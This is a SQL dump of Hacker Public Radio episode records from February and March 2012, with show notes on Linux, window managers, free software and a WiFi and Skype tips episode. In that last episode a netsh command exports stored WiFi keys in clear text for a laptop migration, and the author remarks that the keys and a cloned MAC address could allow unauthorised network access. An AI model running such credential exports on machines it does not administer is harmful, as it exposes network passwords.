(928,'2012-02-22','My Linux Adventure, Pt. 1',1863,'The first part of Bob Wooden\'s Linux journey','<p>\r\nRelease year - 2012\r\nContact Info: <a href=\"mailto:bob.wooden@comcast.net\">bob.wooden@comcast.net</a>\r\n</p>\r\n<p>\r\nLinks mentioned: \r\n</p>\r\n<p>\r\nRedhat<br />\r\n<a href=\"https://www.redhat.com\">https://www.redhat.com</a><br />\r\n<a href=\"https://fedoraproject.org\">https://fedoraproject.org</a>\r\n</p>\r\n<p>\r\nSuSE<br />\r\n<a href=\"https://www.suse.com\">https://www.suse.com</a><br />\r\n<a href=\"https://www.opensuse.org\">https://www.opensuse.org</a>\r\n</p>\r\n<p>\r\nMicro Center - (my opinion - great retail environment for computer parts)<br />\r\n<a href=\"https://www.microcenter.com/\">https://www.microcenter.com/</a><br />\r\n<a href=\"https://en.wikipedia.org/wiki/Micro_Center\">https://en.wikipedia.org/wiki/Micro_Center</a>\r\n</p>\r\n<p>\r\nThe proprietary software device that does not allow printing or saving\r\ninformation without \"key\" was called \"Design Key\" or \"Software Dongle\" by\r\nmyself. This is the brand \"we used\" (were provided) by design software (CAD\r\ntype) kitchen and bathroom design program. (This is the \"dongle\" device. I do\r\nnot care if I mention the proprietary software name. It\'s not very good and\r\nit\'s . . . well, proprietary.)<br />\r\n<a href=\"https://www.petrotechnics.com/sentinel.html\">https://www.petrotechnics.com/sentinel.html</a>\r\n</p>\r\n<p>\r\nLinux Terminal Server Project (LTSP)<br />\r\n<a href=\"https://www.ltsp.org/\">https://www.ltsp.org/</a><br />\r\n<a href=\"https://en.wikipedia.org/wiki/Linux_Terminal_Server_Project\">https://en.wikipedia.org/wiki/Linux_Terminal_Server_Project</a>\r\n</p>\r\n<p>\r\nNetwork File System (NFS)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Network_File_System\">https://en.wikipedia.org/wiki/Network_File_System</a>\r\n</p>\r\n<p>\r\nDynamic Host Configuration Protocol (DHCP)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol\">https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol</a>\r\n</p>\r\n',206,29,1,'CC-BY-SA','linux,redhat,fedora,suse,open suse,ltsp,nfs,dhcp',0,2274,1),
(929,'2012-02-23','The Knightcast KC0060 : \"Storytime\"',1514,'Another visit to the Knightcast podcast','<p>\r\nToday it\'s The Knightcast KC0060 : \"Storytime\"<br />\r\n<!-- <a href=\"https://www.knightwise.com/knightcast-podcast/896-the-knightcast-kc0060--qstorytimeq\">https://www.knightwise.com/knightcast-podcast/896-the-knightcast-kc0060--qstorytimeq</a> -->\r\n<a href=\"https://knightwise.com/the-knightcast-kc0060-qstorytimeq/\">https://knightwise.com/the-knightcast-kc0060-qstorytimeq/</a>\r\n</p>\r\n<hr/>\r\n<p>\r\nSit back and enjoy another \"storytime\' edition of the Knightwise.com podcast where we question our sanity in using Email and wonder whether the IT guy will go extinct. On a bed of some soothing music it\'s time so close your eyes and listen. \r\n</p>\r\n',111,54,1,'CC-BY-SA','email,productivity,IT technician',0,2206,1),
(930,'2012-02-23','TGTM Tech News for 2012-02-20',1245,'A newscast from Talk Geek to Me','<h2>DeepGeek TGTM Newscast for 2012-02-20</h2>\r\n<p>Shownotes are available at <a href=\"https://www.talkgeektome.us/tgtmnews-61.html\">Show Notes for TGTM news 61</a></p>\r\n<p>Here is a news review:</p>\r\n<ul>\r\n  <li><a href=\"https://www.iww.org/en/content/trial-jimmy-johns-bosses-mass-firing-whistleblower-workers-begins-today-organizers-vow-conti\">Trial of Jimmy John\'s Bosses for Mass Firing of Whistleblower Workers Begins\r\nToday: Organizers Vow to Continue Fight for Change at Poverty-Wage Corporate Chains</a></li>\r\n  <li><a href=\"https://peoplesworld.org/600-percent-increase-in-racial-stop-and-frisk-policing-in-ny/\">600 percent increase in racial stop-and-frisk policing in NY</a></li>\r\n  <li><a href=\"https://www.indybay.org/newsitems/2012/02/14/18707374.php\">Longshore workers name Occupy movement as crucial in EGT settlement</a></li>\r\n  <li><a href=\"https://takethesquare.net/2012/02/07/greek-hospital-workers-decide-to-occupy-the-hospital-and-run-it-themselves/\">Greek Hospital workers decide to occupy the hospital and run it themselves</a></li>\r\n  <li><a href=\"https://www.rawstory.com/rs/2012/02/17/prominent-republicans-getting-nervous-about-romneys-chances/\">Prominent Republicans may be getting nervous about Romney’s chances</a></li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/02/time-make-amends-google-circumvents-privacy-settings-safari-users\">Google Circumvents Safari Privacy Protections - This is Why We Need Do Not Track</a></li>\r\n  <li><a href=\"https://torrentfreak.com/pirate-bay-the-riaa-is-delusional-and-must-be-stopped-120217/\">Pirate Bay: The RIAA Is Delusional and Must Be Stopped</a></li>\r\n  <li><a href=\"https://torrentfreak.com/iipa-reports-bittorrent-sites-and-cyberlockers-to-us-120214/\">IIPA Reports BitTorrent Sites and Cyberlockers To US Government</a></li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120216/17154217785/congrats-us-government-youre-scaring-web-businesses-into-moving-out-us.shtml\">Congrats, US Government: You\'re Scaring Web Businesses Into Moving Out Of The US</a></li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120214/09284317757/australian-government-holds-secret-anti-piracy-meetings-public-is-not-invited.shtml\">Australian Government Holds Secret Anti-Piracy Meetings; The Public Is Not Invited</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n  <li><a href=\"https://inthesetimes.com/article/12758/will_we_choose_a_chinese_future/\">Will We Choose a Chinese Future?</a></li>\r\n  <li><a href=\"https://wlcentral.org/node/2457\">Athens burns: has Greece entered its Argentina moment?</a></li>\r\n  <li><a href=\"https://libcom.org/blog/co-operatives-capitalism-iww-18022012\">Co-operatives, capitalism and the IWW</a></li>\r\n\r\n  <li><a href=\"https://www.greenpartywatch.org/2012/02/14/roseanne-barr-at-6-in-national-presidential-poll-behind-romney-by-only-5-among-18-to-29-year-old-voters/\">Roseanne Barr at 6% in national presidential poll, behind Romney by only 5% among 18 to 29 year old voters</a></li>\r\n  <li><a href=\"https://rt.com/news/manning-nobel-peace-prize-631/\">Bradley Manning for Nobel Peace Prize?</a></li>\r\n</ul>\r\n<p>\r\nNews from \"iww.org, \" \"rawstory.com, the audio \"Moment of Clarity #116,\" and \"techdirt.com\" used under arranged permission. News from \"eff.org\"  and \"torrentfreak.com\" used\r\nunder permission of the Creative Commons by-attribution license. News from \"peoplesworld.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license. News from \"indybay.org\" used under terms of the webpage. News from \"takethesquare.net\" is copyleft, translation from Greek courtesy the reddit community. News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.talkgeektome.us/tgtmnews-61.html\">https://www.talkgeektome.us/tgtmnews-61.html\"</a></li>\r\n<li><a href=\"https://www.iww.org/en/content/trial-jimmy-johns-bosses-mass-firing-whistleblower-workers-begins-today-organizers-vow-conti\">https://www.iww.org/en/content/trial-jimmy-johns-bosses-mass-firing-whistleblower-workers-begins-today-organizers-vow-conti\"</a></li>\r\n<li><a href=\"https://peoplesworld.org/600-percent-increase-in-racial-stop-and-frisk-policing-in-ny/\">https://peoplesworld.org/600-percent-increase-in-racial-stop-and-frisk-policing-in-ny/\"</a></li>\r\n<li><a href=\"https://www.indybay.org/newsitems/2012/02/14/18707374.php\">https://www.indybay.org/newsitems/2012/02/14/18707374.php\"</a></li>\r\n<li><a href=\"https://takethesquare.net/2012/02/07/greek-hospital-workers-decide-to-occupy-the-hospital-and-run-it-themselves/\">https://takethesquare.net/2012/02/07/greek-hospital-workers-decide-to-occupy-the-hospital-and-run-it-themselves/\"</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/02/17/prominent-republicans-getting-nervous-about-romneys-chances/\">https://www.rawstory.com/rs/2012/02/17/prominent-republicans-getting-nervous-about-romneys-chances/\"</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/02/time-make-amends-google-circumvents-privacy-settings-safari-users\">https://www.eff.org/deeplinks/2012/02/time-make-amends-google-circumvents-privacy-settings-safari-users\"</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-the-riaa-is-delusional-and-must-be-stopped-120217/\">https://torrentfreak.com/pirate-bay-the-riaa-is-delusional-and-must-be-stopped-120217/\"</a></li>\r\n<li><a href=\"https://torrentfreak.com/iipa-reports-bittorrent-sites-and-cyberlockers-to-us-120214/\">https://torrentfreak.com/iipa-reports-bittorrent-sites-and-cyberlockers-to-us-120214/\"</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120216/17154217785/congrats-us-government-youre-scaring-web-businesses-into-moving-out-us.shtml\">https://www.techdirt.com/articles/20120216/17154217785/congrats-us-government-youre-scaring-web-businesses-into-moving-out-us.shtml\"</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120214/09284317757/australian-government-holds-secret-anti-piracy-meetings-public-is-not-invited.shtml\">https://www.techdirt.com/articles/20120214/09284317757/australian-government-holds-secret-anti-piracy-meetings-public-is-not-invited.shtml\"</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/12758/will_we_choose_a_chinese_future/\">https://inthesetimes.com/article/12758/will_we_choose_a_chinese_future/\"</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2457\">https://wlcentral.org/node/2457\"</a></li>\r\n<li><a href=\"https://libcom.org/blog/co-operatives-capitalism-iww-18022012\">https://libcom.org/blog/co-operatives-capitalism-iww-18022012\"</a></li>\r\n<li><a href=\"https://www.greenpartywatch.org/2012/02/14/roseanne-barr-at-6-in-national-presidential-poll-behind-romney-by-only-5-among-18-to-29-year-old-voters/\">https://www.greenpartywatch.org/2012/02/14/roseanne-barr-at-6-in-national-presidential-poll-behind-romney-by-only-5-among-18-to-29-year-old-voters/\"</a></li>\r\n<li><a href=\"https://rt.com/news/manning-nobel-peace-prize-631/\">https://rt.com/news/manning-nobel-peace-prize-631/\"</a></li>\r\n</ul>',237,28,1,'CC-BY-SA','newscast,TGTM',0,2268,1),
(931,'2012-02-26','The ratpoison window manager',413,'An efficient and minimalist window manager','<h2>Links</h2>\r\n\r\n<p>The tutorial talked about in the episode</p>\r\n\r\n<p>\r\n    Dion Moult<br />\r\n    Ratpoison: an efficient and minimalist WM.<br />\r\n    <a href=\"https://thinkmoult.com/2009/05/13/ratpoison-an-efficient-and-minimalist-wm/\"> https://thinkmoult.com/2009/05/13/ratpoison-an-efficient-and-minimalist-wm/</a>\r\n</p>\r\n\r\n\r\n<p>My ratpoisonrc file</p>\r\n\r\n<pre>\r\nescape F13 \r\n\r\nexec ./.fehbg &amp;\r\nexec /usr/bin/conky &amp;\r\n\r\nbind Next exec amixer -q set Master 10- unmute\r\nbind Prior exec amixer -q set Master 10+ unmute\r\nunbind k\r\nunbind c \r\nbind j focusdown\r\nbind h focusleft\r\nbind k focusup\r\nbind l focusright\r\nbind J exchangedown\r\nbind H exchangeleft\r\nbind K exchangeup\r\nbind L exchangeright\r\nbind C-k delete\r\nexec /usr/bin/rpws init 4 -k\r\nset winname class\r\nset border 0\r\nset padding 0 15 0 0 \r\nset barpadding 0 0 \r\n\r\nwarp on\r\nstartup_message off \r\n\r\nbind space exec aterm\r\n\r\nbind a exec aterm -e alsamixer\r\nbind f exec firefox\r\nbind o exec libreoffice\r\nbind t exec import MyScreenshot.png\r\nbind c exec codeblocks\r\nbind v exec aterm -pixmap false -e vim \r\nbind g exec ~/.my-scripts/scripts/gimp.sh\r\n\r\n#Displays a calender\r\n\r\n# make sure to have ccal installed on your box so you can use this calender\r\nbind d exec ratpoison -d :0.0 -c \"echo `date +\'%r - %A %n  %D - %B\'`  `cal | tail +2 | sed -e \'s/^Su/\\n\\n Su/\' -e \'s/.*/ &amp; /\' -e \\\"s/\\ $(date +%e)\\ /\\<$(date +%e)\\>/\\\"`\"\r\n</pre>\r\n',207,0,1,'CC-BY-SA','window manager,ratpoison',0,2284,1),
(932,'2012-02-27','Programming languages 1 - Introduction',1509,'An introduction to programming languages','<p>\r\nThis is the first episode on a series about computer programming languages. In this episode, I will start by discussing why you may want to learn a programming language, then I will give an introduction about what programming languages are, which are the different types of programming languages, their history, and I will also give some pointers to resources which can be useful to get you started with programming.\r\n</p>\r\n<p>\r\nEric Raymond\'s \"How to become a hacker\" essay, available at <a href=\"https://catb.org/~esr/faqs/hacker-howto.html\">https://catb.org/~esr/faqs/hacker-howto.html</a>\r\n</p>\r\n<h2>1 Wikipedia sources: </h2>\r\n<ul>\r\n<li><a href=\"https://secure.wikimedia.org/wikipedia/en/wiki/Categorical_list_of_programming_languages\">https://secure.wikimedia.org/wikipedia/en/wiki/Categorical_list_of_programming_languages</a></li>\r\n<li><a href=\"https://secure.wikimedia.org/wikipedia/en/wiki/History_of_programming_languages\">https://secure.wikimedia.org/wikipedia/en/wiki/History_of_programming_languages</a></li>\r\n</ul>\r\n<h3>2 Resources for learning to program </h3>\r\n<h4>2.1 Easy </h4>\r\n<h5>2.1.1 List of resources on Wikipedia </h5>\r\n<p>\r\n<a href=\"https://secure.wikimedia.org/wikipedia/en/wiki/List_of_educational_programming_languages\">https://secure.wikimedia.org/wikipedia/en/wiki/List_of_educational_programming_languages</a>\r\n</p>\r\n<h5>2.1.2 The Python tutorial </h5>\r\n<p>\r\n<a href=\"https://docs.python.org/tutorial/\">https://docs.python.org/tutorial/</a>\r\n</p>\r\n\r\n<h4>2.2 Intermediate </h4>\r\n<h5>2.2.1 Structure and interpretation of computer programs </h5>\r\n<p>\r\n<a href=\"https://mitpress.mit.edu/sicp/\">https://mitpress.mit.edu/sicp/</a>\r\n</p>\r\n<ul>\r\n<li>Book free online\r\n<li>Videos of the lectures: <a href=\"https://groups.csail.mit.edu/mac/classes/6.001/abelson-sussman-lectures/\">https://groups.csail.mit.edu/mac/classes/6.001/abelson-sussman-lectures/</a></li>\r\n</ul>\r\n',197,25,1,'CC-BY-SA','programming,Python,C,C++,Lisp,Java,Perl,PHP,Smalltalk,Haskell,FORTRAN,COBOL,Algol 60,Algol 68,BASIC,Pascal',0,2452,1),
(933,'2012-02-28','Freedom is not Free 1 Introduction',1376,'Part 1 of the \"Freedom is not Free\" series','<h2>Richard Stallman</h2>\r\n<p>\r\nFrom Wikipedia, the free encyclopedia <a href=\"https://en.wikipedia.org/wiki/Richard_Stallman\">https://en.wikipedia.org/wiki/Richard_Stallman</a>\r\n</p>\r\n<p>\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/b/b8/Rms_at_pitt.jpg/220px-Rms_at_pitt.jpg\" alt=\"Richard Stallman\"/>\r\nRichard Stallman, Free Software foundation\r\n\r\n</p>\r\n<p>\r\nRichard Matthew Stallman (born March 16, 1953), often shortened to rms, is an American software freedom activist and computer programmer. In September 1983, he launched the GNU Project to create a free Unix-like operating system, and he has been the project\'s lead architect and organizer. With the launch of the GNU Project, he initiated the free software movement; in October 1985 he founded the Free Software Foundation.<br />\r\nStallman pioneered the concept of copyleft, and he is the main author of several copyleft licenses including the GNU General Public License, the most widely used free software license. Since the mid-1990s, Stallman has spent most of his time advocating for free software, as well as campaigning against software patents, digital rights management, and what he sees as excessive extension of copyright laws. Stallman has also developed a number of pieces of widely used software, including the original Emacs, the GNU Compiler Collection, the GNU Debugger, and various tools in the GNU coreutils. He co-founded the League for Programming Freedom in 1989.\r\n</p>\r\n<h2>The Free Software Definition</h2>\r\n<p>\r\n<a href=\"https://www.gnu.org/philosophy/free-sw.html\">https://www.gnu.org/philosophy/free-sw.html</a><br />\r\n<br />\r\nA program is free software if the program\'s users have the four essential freedoms:\r\n</p>\r\n<ul>\r\n<li>The freedom to run the program, for any purpose (freedom 0).</li>\r\n<li>The freedom to study how the program works, and change it so it does your computing as you wish (freedom 1). Access to the source code is a precondition for this.</li>\r\n<li>The freedom to redistribute copies so you can help your neighbor (freedom 2).</li>\r\n<li>The freedom to distribute copies of your modified versions to others (freedom 3). By doing this you can give the whole community a chance to benefit from your changes. Access to the source code is a precondition for this.</li>\r\n</ul>\r\n<h2>Free as in Freedom</h2>\r\n<p>\r\nFree as in Freedom oggcast - <a href=\"https://faif.us\">https://faif.us</a><br />\r\nFree as in Freedom is a bi-weekly oggcast, hosted and presented by Bradley M. Kuhn and Karen Sandler. The discussion includes legal, policy, and many other issues in the Free, Libre, and Open Source Software (FLOSS) world. Occasionally, guests join Bradley and Karen to discuss various topics regarding FLOSS.\r\n<br />\r\nYou can email feedback on the show to oggcast@faif.us, or join bkuhn and other listeners in our IRC channel, #faif on irc.freenode.net.\r\n</p>\r\n<h2>Free Software Foundation</h2>\r\n<p>\r\nFrom Wikipedia, the free encyclopedia <a href=\"https://en.wikipedia.org/wiki/Free_Software_Foundation\">https://en.wikipedia.org/wiki/Free_Software_Foundation</a>\r\n</p>\r\n<p>\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/a/a6/FSF-Logo.svg/300px-FSF-Logo.svg.png\" alt=\"FSF Logo\"/>\r\n</p>\r\n<p>\r\nThe Free Software Foundation (FSF) is a non-profit corporation founded by Richard Stallman on 4 October 1985 to support the free software movement, a copyleft-based movement which aims to promote the universal freedom to create, distribute and modify computer software. The FSF is incorporated in Massachusetts, USA.<br />\r\nFrom its founding until the mid-1990s, FSF\'s funds were mostly used to employ software developers to write free software for the GNU Project. Since the mid-1990s, the FSF\'s employees and volunteers have mostly worked on legal and structural issues for the free software movement and the free software community.\r\nConsistent with its goals, only free software is used on FSF\'s computers.\r\n</p>\r\n<h2>How you can support free software</h2>\r\n<ul>\r\n<li>Bug Reports</li>\r\n<li>Documentation</li>\r\n<li>Financial Support</li>\r\n<li>Advocacy</li>\r\n</ul>\r\n',198,69,1,'CC-BY-SA','FOSS,FLOSS,Free Software Foundation,GNU Project',0,2925,1),
(934,'2012-02-29','LiTS 001: qrencode',879,'QR codes and the <em>qrencode</em> command','In the second in the series, Dann concentrates on producing a image from the command line, QR codes to be precise. <br />\r\n<br />\r\nHe says: <em>\"The <code>qrencode</code> application is a tool to rapidly produce qrcodes.  Qrcodes are handy little images that embed information many cell-phone cameras can read to do a number of tasks like provide a link to install applications, provide links to web sites or videos, or to add contacts into the address book.  With <code>qrencode</code>, in seconds you can generate these images.</em>\r\n<br />\r\nFind the excellent write up and <strong>video</strong> at\r\n<a href=\"https://www.linuxintheshell.com/2012/03/01/entry-001-qrencode/\">https://www.linuxintheshell.com/2012/03/01/entry-001-qrencode/</a><br />\r\nor if you prefer:<br />\r\n<a href=\"https://www.linuxintheshell.com/2012/03/01/entry-001-qrencode/\"><img src=\"https://linuxintheshell.com/wp-content/uploads/2012/02/lits.png\" alt=\"QR code\"/></a>\r\n',7,67,1,'CC-BY-SA','QR code,qrencode',0,2761,1),
(935,'2012-03-02','Indiana LinuxFest',1910,'Ken talks to Lord Drachenblut about the upcoming Indiana LinuxFest 2012','<p>\r\nIn what has proven to be the most difficult show to put together ever, Ken and his most noble Lordship of the shire of Drachenblut, talk about the Indiana LinuxFest.</p>\r\n \r\n<h2>Summary of Indiana LinuxFest\'s Goals</h2>\r\n<p>\r\nIndiana LinuxFest is a community F/OSS conference, which is showcasing the best the community has to offer in the way of Free and Open Source Software, Open Hardware, and Free Culture. We are also highlighting the best and brightest from all of these communities from the hobbyist to professional level.\r\n</p>\r\n<p>\r\nIndiana LinuxFest 2012, April 13th to the 15th at the Wyndam Indianapolis West, is free to attend and Open for any to attend be it the hobbyist to the professional. So join us for the Reign of Freedom!\r\n</p>\r\n<p>\r\n<a href=\"https://www.indianalinux.org/cms/\">https://www.indianalinux.org/cms/</a>\r\n</p>\r\n',30,0,1,'CC-BY-SA','Indiana Linuxfest,ILF,ILF 2012',0,2277,1),
(936,'2012-03-05','Monthly Review show 2012 Feb',2916,'pokey, Epicanis and 5150 review the last month\'s shows','<h2>NEW HOSTS</h2>\r\nBob Wooden<br />\r\nrootoutcast<br />\r\n\r\n<h2>NEW SERIES</h2>\r\nLinux in the Shell by Dann Washko<br />\r\n\r\n<h2>OTHER ITEMS</h2>\r\nStickers<br />\r\nEp1k<br />\r\nNew Logos       https://rfquerin.org/hprstuff/hpr_splash_samples.png<br />\r\n		https://rfquerin.org/hprstuff/hpr_atomic_surround_x.png<br />\r\n		https://rfquerin.org/hprstuff/hpr_02_samples.png<br />\r\n		https://rfquerin.org/hprstuff/hpr_atomic_samples.png<br />\r\n\r\n<h2>SHOW REVIEW</h2>\r\n\r\nep0917 :: Uber Leet Hacker Force Radio 6 Hosted by sigflup <br />\r\n\r\nep0918 :: How I Started with Linux Part 2 Hosted by Frank Bell<br />\r\n\r\nep0919 :: Elfstedentocht - To be or not to be Hosted by Ken Fallon<br />\r\n\r\nep0920 :: TGTM Newscast for 2012/02/08 Hosted by deepgeek <br />\r\n\r\nep0921 :: Tag Team Chase Douglas Interview with Alison Chaiken Hosted by marcoz<br />\r\n\r\nep0922 :: Updating a Garmin GPS for free Hosted by riddlebox <br />\r\n\r\nep0923 :: 12 Gazillion Buttons Hosted by Jezra and NYbill<br />\r\n\r\nep0924 :: Episode 000 redirection Hosted by Dann <br />\r\n\r\nep0925 :: TGTM Tech News for 2012-02-15 Hosted by deepgeek<br />\r\n\r\nep0926 :: Heresies in the year of the apocalypse ep 1 - computer languages Hosted by MrGadgets<br />\r\n\r\nep0927 :: Setting up a WordPress blog: part 1 Hosted by Frank Bell<br />\r\n\r\nep0928 :: My Linux Adventure, Pt. 1 Hosted by Bob Wooden<br />\r\n\r\nep0929 :: The Knightcast KC0060 : \"Storytime\" Hosted by Knightwise<br />\r\n\r\nep0930 :: TGTM Tech News for 2012-02-20 Hosted by deepgeek<br />\r\n\r\nep0931 :: The ratpoison window manager Hosted by rootoutcast<br />\r\n\r\nep0932 :: Programming languages 1 – Introduction Hosted by garjola<br />\r\n\r\nep0933 :: Freedom is not Free 1 Introduction Hosted by Ahuka <br />\r\n\r\nep0934 :: LITS: Entry 001 – qrencode Hosted by Dann <br />\r\n\r\nep0935 :: Indiana LinuxFest Hosted by Ken Fallon <br />\r\n\r\n<h2>EVENTS</h2>\r\nWe need an event manager<br />\r\nPlease add your event to https://fossevents.org/<br />\r\n\r\n<br />\r\nWhen	            What	Where	Who<br />\r\n2012-01-20..22      Southern California Linux Expo (SCALE)<br />\r\n\r\n2012-02-04..05      Free and Open source Software Developers\'        European Meeting (FOSDEM)       https://fosdem.org/2012/<br />\r\n\r\nMarch 5, 2012       sipX-CoLab              https://www.sipfoundry.org/sipx-colab        Fort Collins, CO<br />\r\n8:00 AMto5:00 PM<br />\r\n\r\n2012-03-17          The Northeast GNU/Linux fest        https://www.northeastlinuxfest.org/          Pokey/Klaatu<br />\r\n\r\n2012-04-28..29      LinuxFest Northwest       https://linuxfestnorthwest.org/        David Whitman (davidglennwhitman@gmail.com)<br />\r\n\r\n2012-09-28..30      Ohio LinuxFest 2012        https://ohiolinux.org/node/186 (Call for talks)<br />\r\n\r\n',159,47,1,'CC-BY-SA','community news',0,2225,1),
(937,'2012-03-05','How I started with linux',548,'Riddlebox talks of his journey to Linux','In today\'s show, regular contributor riddlebox takes some time out to tell us of his journey to linux<br />\r\n<br />\r\nYou can reach him at:\r\njames.middendorff[ @ ]gmail.com',94,29,1,'CC-BY-SA','linux',0,2259,1);
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (938,'2012-03-06','Cloning Windows WiFi Profiles and Installing Skype Under 64-bit Fedora',1231,'Some tips on configuring Windows networking and installing Skype on 64-bit Fedora 15','<p>The other day I was copying a customer\'s files and settings from a old laptop to a new one. Much of this tedious task was handled automatically by Fab\'s Autobackup (<a href=\"https://fpnet.fr/\">https://fpnet.fr/</a>, and 25% until Valentines Day BTW), but I was disappointed that his dozen WiFi access point profiles and passwords were not one among the settings that Fab\'s copied for me. For a family laptop, you usually just have to re-enter the password for just the home router, and maybe once again for your work wireless. If your are a tech for an enterprise, and the new mobile workstation needs to connect to multiple access points, you always wind up walking around the business or campus, connecting to each in SSID in turn and entering a different key. This time, the laptop would be used in multiple remote offices. The user would have been able to re-create those connections as he traveled to each office, but he asked me if it wouldn\'t be possible instead to transfer the profiles with the rest of his data.</p>\r\n<p>I had no doubt that I would be able to find a free tool to backup and restore wireless connections, but I have become wary of Windows utilities that can be found at the end of a Google search but have not been recommended by other techs or a trusted website. I was surprised to find my answer in some functions added to the DOS <code>netsh</code>, (or \"net shell\") command, starting with Windows Vista.</p>\r\n<p>Open a Windows command prompt on the laptop that already has the WiFi keys set up, ergo the old one, and type:</p>\r\n<pre><code>netsh wlan show profiles</code></pre>\r\n<p>then press return. This will give you a list of your existing wireless connection profiles by name (i.e. by SSID). Now you can pick a WiFi profile name and enter on the command line:</p>\r\n<pre><code>netsh wlan export profile name=\"SSID_above_in_quotes\" folder=\"C:\\destination\"</code></pre>\r\n<p>Quotes are required for the WiFi profile name, but not for the destination folder unless you use spaces in your Windows directory names. If you want to create export files for all your wireless connections, you may omit the \"name=\" part.</p>\r\n<pre><code>netsh wlan export profile folder=&lt;destination_path&gt;</code></pre>\r\n<p>Omitting \"file=\" of course creates export files in the current directory.</p>\r\n<p>The <code>netsh wlan export profile</code> command generates a .XML export file for each selected profile. Each export file contains an SSID, channel, encryption type and a hash of the encryption key to be transferred to the new laptop, except that it doesn\'t work, at least not for me and several others who posted articles to the web. On my first try, I was able to import everything but the encryption key, all the access points showed up in \"Manage Wireless Networks\", but I was prompted for a key when I tried to connect. I thought maybe this was Microsoft\'s attempt at security, but I could see a field for the hash in the .XML and when I went back to the article on <strong>netsh</strong> and it was clear I was supposed to get the keys too. A little more googlsearch revealed a second article on <strong>netsh</strong> that gave me an argument the first one omitted, adding <strong>key=clear</strong> at the very end of the <strong>netsh</strong> command causes the keys to be <em>exported in clear text</em>! Our command now looks like:</p>\r\n<pre><code>netsh wlan export profile folder=&lt;destination_path&gt; key=clear</code></pre>\r\n<p>Copy your .XML profile files to the new laptop (I am assuming via USB key). The filenames will be in the format:</p>\r\n<p><code>Wireless Network connection-&lt;profile-name-same-as-SSID&gt;.xml</code></p>\r\n<p>You understood me correctly, this DOS command generates <em>file names with spaces in them</em>. Copy the .XML files to the new system and import the profiles with:</p>\r\n<pre><code>netsh add profile filename=\"&lt;file name in quotes to account for spaces&gt;.xml\"</code></pre>\r\n<p>\r\nIt\'s not quite as odious as it looks because DOS now supports TAB completion, so you just have to type:</p>\r\n<p><code>netsh add profile filename=\"Wi </code>and press &lt;TAB&gt;</p>\r\n<p>\r\nThe rest of the name of the first profile will be filled in, complete with the terminating quote. Press &lt;ENTER&gt; and you should get a message that wireless profile has been imported. To import the remaining profiles, just use &lt;F3&gt; or the up arrow and edit the last command. Since it was set to auto-connect, the laptop I was working on made a connection to the local access point the instant the corresponding profile was imported.</p> \r\n<p>Learning these new <strong>netsh</strong> functions may make configuring WiFi more convenient (I can maintain a library of wireless profiles for the organizations I service, or I could implement an encryption key update via a batch file). I can also see ominous security implications for networks where users aren\'t supposed to be privy to the connection keys and have access to pre-configured laptops, such as schools. One could whitelist the MAC addresses of only the organization\'s equipment, but there is always that visiting dignitary to whom you are expected to provide unfettered network access. Besides, anyone with access to the command line can use <strong>ipconfig</strong> to display the laptop\'s trusted MAC address, which can be cloned for access from the parking lot or from across the street. The only way I see to secure the connection from someone with physical access to a connected laptop is to install kiosk software that disables the command line.</p>\r\n<h3>Installing Skype on 64-bit Fedora</h3>\r\n<p>Last week I decided to install Skype as an alternative way to contact people with land lines. I haven\'t played with Skype since I had it on my Windows workstation, so I downloaded and installed the .rpm for Fedora 13+. All Skype has is a 32-bit package for Fedora, and sure enough, when I tried to launch Skype, the icon bounced around Compiz fashion, then the application item on the taskbar closed without doing anything. I looked for information in troubleshooting Skype from the logs, and an Arch wiki article told me I might have to create <code>~/.Skype/Logs</code>, which I did. The application continued to crash without generating a log. I heard someone mention once in a call-in podcast that they\'d had to perform additional steps to make 32-bit Skype work in 64 bit Fedora 15, and a Google search took me to the <em>khAttAm</em> blog (link below). I experienced some trepidation because the steps involve installing additional 32 bit libraries (if you heard me on the <a href=\"https://www.hackerpublicradio.org/eps.php?id=0891\">Hacker Public Radio New Years Eve shows</a>, you might have heard me say I\'ve experienced a bit of dependency hell over conflicts between 32 and 64 bit libraries) but the instructions in the article went flawlessly (I don\'t know if khattam.info represents one person or more than one, but you rock!).\r\n<a href=\"https://www.khattam.info/howto-install-skype-in-fedora-15-64-bit-2011-06-01.html\">https://www.khattam.info/howto-install-skype-in-fedora-15-64-bit-2011-06-01.html</a></p>\r\n<p>First, as root run <code>yum update</code> </p>\r\n<p>Next, add the following line to <em>/etc/rpm/macros</em> (create it if it doesn\'t exist):</p>\r\n<pre>%_query_all_fmt %%{name}-%%{version}-%%{release}.%%{arch}</pre>\r\n<p>Finally, install these 32-bit libraries:</p>\r\n<pre>\r\nyum install qt.i686 qt-x11.i686 libXv.i686 libXScrnSaver.i686\r\n</pre>\r\n<p>After that, I was able to launch the application and log into my Skype account.</p>\r\n',131,0,1,'CC-BY-SA','Windows,netsh,Fedora,Skype',0,2243,1),
